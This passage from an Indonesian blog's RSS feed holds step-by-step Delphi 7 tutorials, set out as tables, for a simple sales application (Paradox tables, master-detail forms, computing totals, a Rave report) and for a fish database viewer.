<li>Bookmark</li>
<li>Komponen dan bahasa SQL dinamik</li>
<li>Fungsi agregat</li>
<li>Report master detail</li>
</ol>
<h2>Video Tutorial</h2>
<p>[video]</p>
<p><span id="more-73"></span></p>
<h2>Membuat Database</h2>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="27" valign="top">No</td>
<td width="128" valign="top">Action</td>
<td width="124" valign="top"></td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top">1</td>
<td width="128" valign="top">Buka Database Desktop</td>
<td width="124" valign="top">Start -&gt; Program -&gt; Borland Delphi 7 -&gt; Database Desktop</td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top">2</td>
<td width="128" valign="top">Buat Table baru</td>
<td width="124" valign="top">File-&gt;New-&gt;Table-&gt;Paradox 7</td>
<td width="296" valign="top">Faktur A 10 *</p>
<p>Tanggal D</p>
<p>Total N</p>
<p>Sales_id A 10</p>
<p>Save as JUAL.DB</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">File-&gt;New-&gt;Table-&gt;Paradox 7</td>
<td width="296" valign="top">Faktur A 10 *</p>
<p>Barang_ID A 10 *</p>
<p>Jumlah N</p>
<p>Save as JUALDETAIL.DB</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">File-&gt;New-&gt;Table-&gt;Paradox 7</td>
<td width="296" valign="top">Id A 10 *</p>
<p>Barang A 10</p>
<p>Harga N</p>
<p>Save As BARANG.DB</td>
</tr>
<tr>
<td width="27" valign="top">3</td>
<td width="128" valign="top">Isi Data Barang</td>
<td width="124" valign="top">File-&gt;Open-&gt;Table-&gt;BARANG.DB</td>
<td width="296" valign="top">MK010001 Indomie Kari Ayam 2,000.00</p>
<p>MK010002 Salam Mi 14,000.00</p>
<p>MK020001 Kacang Atom 3,400.00</p>
<p>MK020002 Kacang Asin 3,500.00</p>
<p>MN010001 Coffee Mix 5,000.00</p>
<p>MN010002 Fruit Tea 4,500.00</p>
<p>MN010003 Teh Botol 1,500.00</p>
<p>MN010004 Coca Cola 1,500.00</p>
<p>MN010005 Fanta 1,500.00</td>
</tr>
</tbody>
</table>
<h5>1.1.3. Membuat Window Menu Utama</h5>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="27" valign="top">No</td>
<td width="128" valign="top">Action</td>
<td width="124" valign="top"></td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top">1</td>
<td width="128" valign="top">New Project</td>
<td width="124" valign="top">File-&gt; New -&gt; Application</td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top">2</td>
<td width="128" valign="top">Save All</td>
<td width="124" valign="top"></td>
<td width="296" valign="top">Unit Filename: menu.pas</p>
<p>Project: jual</p>
<p>Caption: Aplikasi Penjualan</td>
</tr>
<tr>
<td width="27" valign="top">3</td>
<td width="128" valign="top">Komponen BitBtn1</td>
<td width="124" valign="top">Tab Additional</td>
<td width="296" valign="top">Caption: Penjualan</td>
</tr>
<tr>
<td width="27" valign="top">4</td>
<td width="128" valign="top">Komponen BitBtn2</td>
<td width="124" valign="top">Tab Additional</td>
<td width="296" valign="top">Caption: Data Barang</td>
</tr>
<tr>
<td width="27" valign="top">5</td>
<td width="128" valign="top">Komponen BitBtn3</td>
<td width="124" valign="top">Tab Additional</td>
<td width="296" valign="top">Caption: Laporan</td>
</tr>
<tr>
<td width="27" valign="top">6</td>
<td width="128" valign="top">Komponen BitBtn4</td>
<td width="124" valign="top">Tab Additional</td>
<td width="296" valign="top">Caption: Keluar</p>
<p>Kind: btClose</td>
</tr>
<tr>
<td width="27" valign="top">7</td>
<td width="128" valign="top">Komponen Form1</td>
<td width="124" valign="top"></td>
<td width="296" valign="top">Name: frmMenuUtama</td>
</tr>
<tr>
<td width="27" valign="top">8</td>
<td width="128" valign="top">Event OnClick BitBtn1</td>
<td width="124" valign="top"></td>
<td width="296" valign="top">FrmTransaksi.ShowModal</td>
</tr>
</tbody>
</table>
<h5>1.1.4. Membuat Window Transaksi Penjualan</h5>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="27" valign="top">No</td>
<td width="128" valign="top">Action</td>
<td width="124" valign="top"></td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top">1</td>
<td width="128" valign="top">New Form</td>
<td width="124" valign="top">File-&gt; New -&gt; Form</td>
<td width="296" valign="top">Save All</p>
<p>Unit Filename: transaksi.pas</p>
<p>Properti Name: frmTransaksi</p>
<p>Caption: Transaksi Penjualan</td>
</tr>
<tr>
<td width="27" valign="top">2</td>
<td width="128" valign="top">Komponen Table1</td>
<td width="124" valign="top">Tab BDE</td>
<td width="296" valign="top">Name: tbJual</p>
<p>DatabaseName: c:\e-learning\toko</p>
<p>TableName: jual.db</p>
<p>Active: true</td>
</tr>
<tr>
<td width="27" valign="top">3</td>
<td width="128" valign="top">Komponen Table2</td>
<td width="124" valign="top">Tab BDE</td>
<td width="296" valign="top">Name: tbBarang</p>
<p>DatabaseName: c:\e-learning\toko</p>
<p>TableName: barang.db</p>
<p>Active: true</td>
</tr>
<tr>
<td width="27" valign="top">4</td>
<td width="128" valign="top">Komponen Table2</td>
<td width="124" valign="top">Tab BDE</td>
<td width="296" valign="top">Name: tbJualDetail</p>
<p>DatabaseName: c:\e-learning\toko</p>
<p>TableName: jualdetail.db</p>
<p>Active: true</td>
</tr>
<tr>
<td width="27" valign="top">5</td>
<td width="128" valign="top">Komponen DataSource1</td>
<td width="124" valign="top">Tab DataAccess</td>
<td width="296" valign="top">Name: dsJual</p>
<p>DataSet: tbJual</td>
</tr>
<tr>
<td width="27" valign="top">6</td>
<td width="128" valign="top">Komponen DataSource2</td>
<td width="124" valign="top">Tab DataAccess</td>
<td width="296" valign="top">Name: dsJualDetail</p>
<p>DataSet: tbJualDetail</td>
</tr>
<tr>
<td width="27" valign="top">6</td>
<td width="128" valign="top">Komponen Panel1</td>
<td width="124" valign="top">Tab Standard</td>
<td width="296" valign="top">Aling: Bottom</p>
<p>Caption: &#8221;</td>
</tr>
<tr>
<td width="27" valign="top">7</td>
<td width="128" valign="top">Komponen DBGrid1</td>
<td width="124" valign="top">Tab DataControl</td>
<td width="296" valign="top">Name: gridJualDetail</p>
<p>DataSource: dsJualDetail</p>
<p>Align: Bottom</td>
</tr>
<tr>
<td width="27" valign="top">8</td>
<td width="128" valign="top">Komponen DBEdit1</td>
<td width="124" valign="top">Tab DataControl</td>
<td width="296" valign="top">Name: edFaktur</p>
<p>DataSource: dsJual</p>
<p>DataField: Faktur</td>
</tr>
<tr>
<td width="27" valign="top">9</td>
<td width="128" valign="top">Komponen DBEdit2</td>
<td width="124" valign="top">Tab DataControl</td>
<td width="296" valign="top">Name: edTanggal</p>
<p>DataSource: dsJual</p>
<p>DataField: Tanggal</td>
</tr>
<tr>
<td width="27" valign="top">10</td>
<td width="128" valign="top">Komponen DBEdit3</td>
<td width="124" valign="top">Tab DataControl</td>
<td width="296" valign="top">Name: edSales_id</p>
<p>DataSource: dsJual</p>
<p>DataField: Sales_id</td>
</tr>
<tr>
<td width="27" valign="top">11</td>
<td width="128" valign="top">Komponen DBEdit4</p>
<p>di atas Panel1</td>
<td width="124" valign="top">Tab DataControl</td>
<td width="296" valign="top">Name: edTotal</p>
<p>DataSource: dsJual</p>
<p>DataField: Total</td>
</tr>
<tr>
<td width="27" valign="top">12</td>
<td width="128" valign="top">Komponen Label1</td>
<td width="124" valign="top">Standard</td>
<td width="296" valign="top">Faktur</td>
</tr>
<tr>
<td width="27" valign="top">13</td>
<td width="128" valign="top">Komponen Label2</td>
<td width="124" valign="top">Standard</td>
<td width="296" valign="top">Tanggal</td>
</tr>
<tr>
<td width="27" valign="top">14</td>
<td width="128" valign="top">Komponen Label3</td>
<td width="124" valign="top">Standard</td>
<td width="296" valign="top">Sales ID</td>
</tr>
<tr>
<td width="27" valign="top">15</td>
<td width="128" valign="top">Komponen Label4</p>
<p>di atas Panel1</td>
<td width="124" valign="top">Standard</td>
<td width="296" valign="top">Total</td>
</tr>
<tr>
<td width="27" valign="top">16</td>
<td width="128" valign="top">Navigator</td>
<td width="124" valign="top">Tab DataCOntrol</td>
<td width="296" valign="top">DataSource: dsJual</p>
<p>Align: top</td>
</tr>
<tr>
<td width="27" valign="top">17</td>
<td width="128" valign="top">Set FieldDefs tbJual</td>
<td width="124" valign="top">Double click tbJual</td>
<td width="296" valign="top">Add all Fields</td>
</tr>
<tr>
<td width="27" valign="top">17</td>
<td width="128" valign="top">Properti tbJualDetail</td>
<td width="124" valign="top">Supaya jualdetail hanya menampilkan faktur yang dipilih pada tbJual</td>
<td width="296" valign="top">MasterSource: dsJual</p>
<p>MasterField: klik [...]</p>
<p>Faktur-&gt;Faktur , Add</td>
</tr>
<tr>
<td width="27" valign="top">18</td>
<td width="128" valign="top">Set FieldDefs tbJualDetail</td>
<td width="124" valign="top">Double click tbJualDetail</td>
<td width="296" valign="top">Add all Fields</p>
<p>Field faktur: visible=false</td>
</tr>
<tr>
<td width="27" valign="top">19</td>
<td width="128" valign="top">Tambah field lookup Nama Barang</td>
<td width="124" valign="top">Double click tbJualDetail</p>
<p>New Field</td>
<td width="296" valign="top">Name: NamaBarang</p>
<p>Type: String</p>
<p>Field Type: Lookup</p>
<p>Key Field: Barang_id</p>
<p>DataSet: tbBarang</p>
<p>Lookup Key: Id</p>
<p>result Field: Barang</p>
<p>DisplayWidth: 30</p>
<p>nama variable: tbJualDetailNamaBarang</td>
</tr>
<tr>
<td width="27" valign="top">20</td>
<td width="128" valign="top">Tambah field lookup Harga Barang</td>
<td width="124" valign="top">Double click tbJualDetail</p>
<p>New Field</td>
<td width="296" valign="top">Name: HargaBarang</p>
<p>Type: Float</p>
<p>Field Type: Lookup</p>
<p>Key Field: Barang_id</p>
<p>DataSet: tbBarang</p>
<p>Lookup Key: Id</p>
<p>result Field: Harga</p>
<p>nama variable: tbJualDetailHargaBarang</td>
</tr>
<tr>
<td width="27" valign="top">20</td>
<td width="128" valign="top">Tambah field calculated Total Harga Barang</td>
<td width="124" valign="top">Double click tbJualDetail</p>
<p>New Field</td>
<td width="296" valign="top">Name: Total</p>
<p>Type: Float</p>
<p>Field Type: Calculated</p>
<p>nama variable: tbJualDetailTotal</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top">Susun Field tbDetail</td>
<td width="124" valign="top">Double click tbJualDetail</p>
<p>susun field</td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top">Aktifkan semua table</td>
<td width="124" valign="top">Pilih semua table</td>
<td width="296" valign="top">Active: true</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top">Coba jalankan</td>
<td width="124" valign="top">Klik tombol [+] untuk</p>
<p>Insert F001</p>
<p>Klik tombol [v] untuk mensave record</td>
<td width="296" valign="top">Insert beberapa items</p>
<p>perhatikan total – total belum berfungsi</td>
</tr>
</tbody>
</table>
<h5>1.1.5. Menghitung Sub Total dan Total</h5>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="27" valign="top">No</td>
<td width="128" valign="top">Action</td>
<td width="124" valign="top"></td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top">1</td>
<td width="128" valign="top">Handler event onCalcField</p>
<p>tbJualDetail</td>
<td width="124" valign="top">click tbJualDetail</p>
<p>click event onCalcField</td>
<td width="296" valign="top">procedure TfrmTransaksi.tbJualDetailCalcFields(DataSet: TDataSet);</p>
<p>begin</p>
<p>tbJualDetailTotal.Value := tbJualDetailHargaBarang.Value *</p>
<p>tbJualDetailJumlah.AsInteger;</p>
<p>end;</td>
</tr>
<tr>
<td width="27" valign="top">2</td>
<td width="128" valign="top">Menghitung Total</td>
<td width="124" valign="top">Buat method</p>
<p>TfrmTransaksi. HitungTotal()</td>
<td width="296" valign="top">&#8230;</p>
<p>published</p>
<p>procedure HitungTotal;</p>
<p>&#8230;</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top"></td>
<td width="296" valign="top">procedure TfrmTransaksi.HitungTotal;</p>
<p>var</p>
<p>TempTotal: Extended;</p>
<p>PrevRecord: TBookmark;</p>
<p>begin</p>
<p>PrevRecord := tbJualDetail.GetBookmark; { returns nil if table is empty }</p>
<p>try</p>
<p>tbJualDetail.DisableControls;</p>
<p>tbJualDetail.First;</p>
<p>TempTotal := 0;{ use temp for efficiency }</p>
<p>while not tbJualDetail.EOF do</p>
<p>begin</p>
<p>TempTotal := TempTotal + tbJualDetailTotal.Value;</p>
<p>tbJualDetail.Next;</p>
<p>end;</p>
<p>tbJualTotal.Value := TempTotal;</p>
<p>finally</p>
<p>tbJualDetail.EnableControls;</p>
<p>if PrevRecord &lt;&gt; nil then</p>
<p>begin</p>
<p>tbJualDetail.GoToBookmark(PrevRecord);</p>
<p>tbJualDetail.FreeBookmark(PrevRecord);</p>
<p>end;</p>
<p>end;</p>
<p>end;</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top">Bind HitungTotal ke event tbJualDetail</td>
<td width="124" valign="top">AfterDelete</td>
<td width="296" valign="top">HitungTotal</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">AfterPost</td>
<td width="296" valign="top">HitungTotal</td>
</tr>
</tbody>
</table>
<h5>1.1.6. Membuat Window Data Barang</h5>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="27" valign="top">No</td>
<td width="128" valign="top">Action</td>
<td width="124" valign="top"></td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top">1</td>
<td width="128" valign="top">Membuat form dengan wizard</td>
<td width="124" valign="top">Database-&gt; Form Wizard</td>
<td width="296" valign="top">Tabel barang</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top"></td>
<td width="296" valign="top">Format: Grid</td>
</tr>
<tr>
<td width="27" valign="top">2</td>
<td width="128" valign="top">Save Form</td>
<td width="124" valign="top"></td>
<td width="296" valign="top">Barang.pas</p>
<p>Name: frmBarang</td>
</tr>
<tr>
<td width="27" valign="top">3</td>
<td width="128" valign="top">Bind ke menu utama</td>
<td width="124" valign="top">OnClick</td>
<td width="296" valign="top">FrmBarang.ShowModal</td>
</tr>
</tbody>
</table>
<h5>1.1.7. Membuat Laporan Master Detail</h5>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="27" valign="top">No</td>
<td width="128" valign="top">Action</td>
<td width="124" valign="top"></td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top">1</td>
<td width="128" valign="top">Membuat form dengan wizard</td>
<td width="124" valign="top">Database-&gt; Form Wizard</td>
<td width="296" valign="top">Tabel jual master</p>
<p>tabel jualdetail detail</p>
<p>posisi: grid</td>
</tr>
<tr>
<td width="27" valign="top">2</td>
<td width="128" valign="top">Tambah Rave Component</td>
<td width="124" valign="top">RaveProject</td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">RaveTableConn1</td>
<td width="296" valign="top">Dataset: tbJual</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">RaveTableConn2</td>
<td width="296" valign="top">Dataset: tbJualDetail</td>
</tr>
<tr>
<td width="27" valign="top">3</td>
<td width="128" valign="top">Buat project RAV</td>
<td width="124" valign="top">Double click RvProject1</td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">DataView1</td>
<td width="296" valign="top">RaveTableConn1</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">DataView2</td>
<td width="296" valign="top">RaveTableConn2</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top"></td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">Region</td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">DataBand1</td>
<td width="296" valign="top">DataView: DataView1</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">DataBand2</td>
<td width="296" valign="top">DataView: DataView2</p>
<p>ControllerBand: DataBand1</p>
<p>DetailKey: Faktur</p>
<p>MasterDataView: DataView1</p>
<p>MasterKey: Faktur</p>
<p>BandStyle: detail</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">DataText di DataBand1</td>
<td width="296" valign="top">Faktur</p>
<p>Sales</p>
<p>Tanggal</p>
<p>Total</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">DataText di DataBand2</td>
<td width="296" valign="top">BarangID</p>
<p>Lookup nama Barang</p>
<p>Faktur</p>
<p>Jumlah</td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">Hias dengan garis/ warna border</td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top"></td>
<td width="124" valign="top">Preview</td>
<td width="296" valign="top"></td>
</tr>
<tr>
<td width="27" valign="top"></td>
<td width="128" valign="top">Binding dengan tombol</td>
<td width="124" valign="top">RvProject.Execute(&#8216;Report1&#8242;)</td>
<td width="296" valign="top"></td>
</tr>
</tbody>
</table>
<h5>1.1.8. Menggunakan Data Module</h5>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-point-of-sales/" rel="bookmark">15. Aplikasi Point of Sales</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-aplikasi-kalkulator-sederhana/" rel="bookmark">04. Kalkulator Sederhana</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-laporan-tingkat-lanjut/" rel="bookmark">16. Laporan Tingkat Lanjut</a></li><li><a href="http://www.dijexi.com/2009/06/tutorial-membuat-program-animasi/" rel="bookmark">09. Program Animasi</a></li></ul></div><!--INFOLINKS_OFF--><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F06%2Ftutorial-membuat-aplikasi-program-penjualan-sederhana%2F&amp;linkname=14.%20Program%20Penjualan%20Sederhana"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-program-penjualan-sederhana/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>13. Aplikasi Database Ikan</title>
		<link>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-database-ikan/</link>
		<comments>http://www.dijexi.com/2009/06/tutorial-membuat-aplikasi-database-ikan/#comments</comments>
		<pubDate>Fri, 26 Jun 2009 03:57:37 +0000</pubDate>
		<dc:creator>akhmad daniel sembiring</dc:creator>
				<category><![CDATA[Delphi]]></category>

		<guid isPermaLink="false">http://www.dijexi.com/?p=72</guid>
		<description><![CDATA[&#160; Tujuan 1. Memahami konsep database 2. mengenal dan menggunakan komponen database 3. membuat report sederhana menggunakan komponen Rave Report &#160; Demo Tutorial &#160; Langkah-langkah No Action &#160; &#160; 1 File-&#62;New-&#62;Application Save All create direktori &#34;ikan&#34; Project: ikan.dpr File: unit1.pas 2 Komponen Panel1 kiri &#160; &#160; Komponen Panel2 kanan &#160; 3 Komponen Tabel Tab BDE: [...]]]></description>
			<content:encoded><![CDATA[<!--INFOLINKS_ON--><h4>&#160;</h4>
<h2>Tujuan</h2>
<p>1. Memahami konsep database</p>
<p>2. mengenal dan menggunakan komponen database</p>
<p>3. membuat report sederhana menggunakan komponen Rave Report</p>
<p>&#160;</p>
<h2>Demo Tutorial</h2>
<p>&#160;</p>
<p> <span id="more-72"></span><br />
<h2>Langkah-langkah</h2>
<table cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td valign="top" width="27">
<p>No</p>
</td>
<td valign="top" width="151">
<p>Action</p>
</td>
<td valign="top" width="101">&#160;</td>
<td valign="top" width="296">&#160;</td>
</tr>
<tr>
<td valign="top" width="27">
<p>1</p>
</td>
<td valign="top" width="151">
<p><b>File-&gt;New-&gt;Application</b></p>
</td>
<td valign="top" width="101">
<p><b></b></p>
</td>
<td valign="top" width="296">
<p>Save All</p>
<p>create direktori &quot;ikan&quot; </p>
<p>Project: ikan.dpr</p>
<p>File: unit1.pas</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>2</p>
</td>
<td valign="top" width="151">
<p>Komponen Panel1</p>
</td>
<td valign="top" width="101">
<p><b>kiri</b></p>
</td>
<td valign="top" width="296">&#160;</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="151">
<p>Komponen Panel2</p>
</td>
<td valign="top" width="101">
<p><b>kanan</b></p>
</td>
<td valign="top" width="296">&#160;</td>
</tr>
<tr>
<td valign="top" width="27">
<p>3</p>
</td>
<td valign="top" width="151">
<p>Komponen Tabel</p>
</td>
<td valign="top" width="101">
<p><b>Tab BDE: Table</b></p>
</td>
<td valign="top" width="296">
<p>Properti:</p>
</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="151">&#160;</td>
<td valign="top" width="101">
<p><b></b></p>
</td>
<td valign="top" width="296">
<p>DatabaseName: DBDEMOS</p>
<p>TableName: biolife.dbf</p>
<p>Active: True</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>4</p>
</td>
<td valign="top" width="151">
<p>Komponen Datasource</p>
</td>
<td valign="top" width="101">
<p><b>Tab DataAccess</b></p>
</td>
<td valign="top" width="296">
<p>Properti</p>
<p>DataSet: Table1</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>5</p>
</td>
<td valign="top" width="151">
<p>Komponen DBGrid</p>
</td>
<td valign="top" width="101">
<p><b>Tab DataControl</b></p>
</td>
<td valign="top" width="296">
<p>Properti</p>
<p>DataSource: DataSource1</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>6</p>
</td>
<td valign="top" width="151">
<p>Komponen DBText</p>
</td>
<td valign="top" width="101">
<p><b>Idem, di atas Panel1</b></p>
</td>
<td valign="top" width="296">
<p>Properti</p>
<p>DataSource: DataSource1</p>
<p>DataField: Common_Name</p>
<p>Align: Top</p>
<p>Font: Verdana, 14</p>
<p>Alignment: Center </p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>7</p>
</td>
<td valign="top" width="151">
<p>Komponen DBText</p>
</td>
<td valign="top" width="101">
<p><b>Idem, di atas Panel2 </b></p>
</td>
<td valign="top" width="296">
<p>Properti</p>
<p>DataSource: DataSource1</p>
<p>DataField: Species_name</p>
<p>AutoSize: True</p>
<p>Align: Top</p>
<p>Font: Verdana, 14</p>
<p>Alignment: Center </p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>8</p>
</td>
<td valign="top" width="151">
<p>Komponen DBImage</p>
</td>
<td valign="top" width="101">
<p><b>Idem, di atas Panel1</b></p>
</td>
<td valign="top" width="296">
<p>Properti</p>
<p>DataSource: DataSource1</p>
<p>DataField: Graphics</p>
<p>Align:Client</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>9</p>
</td>
<td valign="top" width="151">
<p>Komponen DBMemo</p>
</td>
<td valign="top" width="101">
<p><b>Idem, di atas Panel2, dibawah DBText2</b></p>
</td>
<td valign="top" width="296">
<p>Properti</p>
<p>DataSource: DataSource1</p>
<p>DataField: Notes</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>10</p>
</td>
<td valign="top" width="151">
<p>Komponen BitBtn 1</p>
</td>
<td valign="top" width="101">
<p><b>Tab Additional</b></p>
</td>
<td valign="top" width="296">
<p>Properti</p>
<p>Kind: bkOK</p>
<p>Caption: Print Report</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>11</p>
</td>
<td valign="top" width="151">
<p>Komponen BitBtn 2</p>
</td>
<td valign="top" width="101">
<p><b>Tab Additional</b></p>
</td>
<td valign="top" width="296">
<p>Properti</p>
<p>Kind: bkClose</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>12</p>
</td>
<td valign="top" width="151">
<p>Supaya hanya beberapa field saja yang muncul pada db grid</p>
</td>
<td valign="top" width="101">
<p><b>Properti FieldDefs Table1</b></p>
</td>
<td valign="top" width="296">
<p>Double Click Table1</p>
</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="151">&#160;</td>
<td valign="top" width="101">
<p><b></b></p>
</td>
<td valign="top" width="296">
<p>Klik Kanan</p>
<p>Add All Fields</p>
<p>Species No: properti Visible=false</p>
<p>Notes : properti Visible=false</p>
<p>Graphics: properti Visible=false</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>13</p>
</td>
<td valign="top" width="151">
<p>Format numerik kolom Lengh_In</p>
</td>
<td valign="top" width="101">
<p><b>Properti FieldDefs Table1</b></p>
</td>
<td valign="top" width="296">
<p>Double Click Table1</p>
<p>Klik Kolom Lengh_In</p>
</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="151">&#160;</td>
<td valign="top" width="101">
<p><b></b></p>
</td>
<td valign="top" width="296">
<p>DisplayFormat : 0.00</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>14</p>
</td>
<td valign="top" width="151">
<p>Format Panjang kolom Common_Name</p>
</td>
<td valign="top" width="101">
<p><b>Properti FieldDefs Table1</b></p>
</td>
<td valign="top" width="296">
<p>Double Click Table1</p>
<p>Klik kolom Common_Name</p>
</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="151">&#160;</td>
<td valign="top" width="101">
<p><b></b></p>
</td>
<td valign="top" width="296">
<p>DisplayWidth: 20</p>
</td>
</tr>
</tbody>
</table>
<h5>1.1.3. Membuat Report Sederhana </h5>
<table cellspacing="0" cellpadding="0" border="0">
<tbody>
<tr>
<td valign="top" width="27">
<p>No</p>
</td>
<td valign="top" width="128">
<p>Action</p>
</td>
<td valign="top" width="124">&#160;</td>
<td valign="top" width="296">&#160;</td>
</tr>
<tr>
<td valign="top" width="27">
<p>1</p>
</td>
<td valign="top" width="128">
<p>Komponen RvTableConnection</p>
</td>
<td valign="top" width="124">
<p><b>Tab Rave</b></p>
</td>
<td valign="top" width="296">
<p>Properti </p>
<p>Table: Table1</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>2</p>
</td>
<td valign="top" width="128">
<p>Komponen RvProject</p>
</td>
<td valign="top" width="124">
<p><b>Tab Rave</b></p>
</td>
<td valign="top" width="296">
<p>DoubleClick -&gt; buka Rave Designer</p>
</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="128">&#160;</td>
<td valign="top" width="124">
<p><b>New Data Object</b></p>
</td>
<td valign="top" width="296">
<p>Direct Data View , RvDataSetConnection1, Finish</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>3</p>
</td>
<td valign="top" width="128">&#160;</td>
<td valign="top" width="124">
<p><b>Tools -&gt; Report Wizard</b></p>
</td>
<td valign="top" width="296">
<p>Simple Table </p>
<p>DataVIew1 -&gt; Next</p>
<p>All , pilih semua field, Next, Next</p>
<p>Daftar Ikan -&gt; Next</p>
<p>Body Font=10</p>
<p>Generate </p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>4</p>
</td>
<td valign="top" width="128">&#160;</td>
<td valign="top" width="124">
<p>View Report</p>
</td>
<td valign="top" width="296">
<p>Save Report -&gt; Ikan.Rav</p>
</td>
</tr>
<tr>
<td valign="top" width="27">
<p>5</p>
</td>
<td valign="top" width="128">
<p>Edit Report</p>
</td>
<td valign="top" width="124">
<p><b>Species No</b></p>
</td>
<td valign="top" width="296">
<p>No</p>
</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="128">&#160;</td>
<td valign="top" width="124">
<p><b>Common_Name</b></p>
</td>
<td valign="top" width="296">
<p>Common Name</p>
</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="128">&#160;</td>
<td valign="top" width="124">
<p><b>Length (cm)</b></p>
</td>
<td valign="top" width="296">
<p>Cm</p>
</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="128">&#160;</td>
<td valign="top" width="124">
<p><b>Length_in</b></p>
</td>
<td valign="top" width="296">
<p>Inch.</p>
</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="128">&#160;</td>
<td valign="top" width="124">
<p><b>Besarkan Ukuran Report</b></p>
</td>
<td valign="top" width="296">&#160;</td>
</tr>
<tr>
<td valign="top" width="27">&#160;</td>
<td valign="top" width="128">&#160;</td>
<td valign="top" width="124">
<p><b>Besarkan Ukuran Deatil Band</b></p>
</td>
<td valign="top" width="296">&#160;</td>
</tr>
<tr>
<td valign="top" width="27">
<p>6</p>
</td>
<td valign="top" width="128">
<p>Field Graphics</p>
</td>
<td valign="top" width="124">
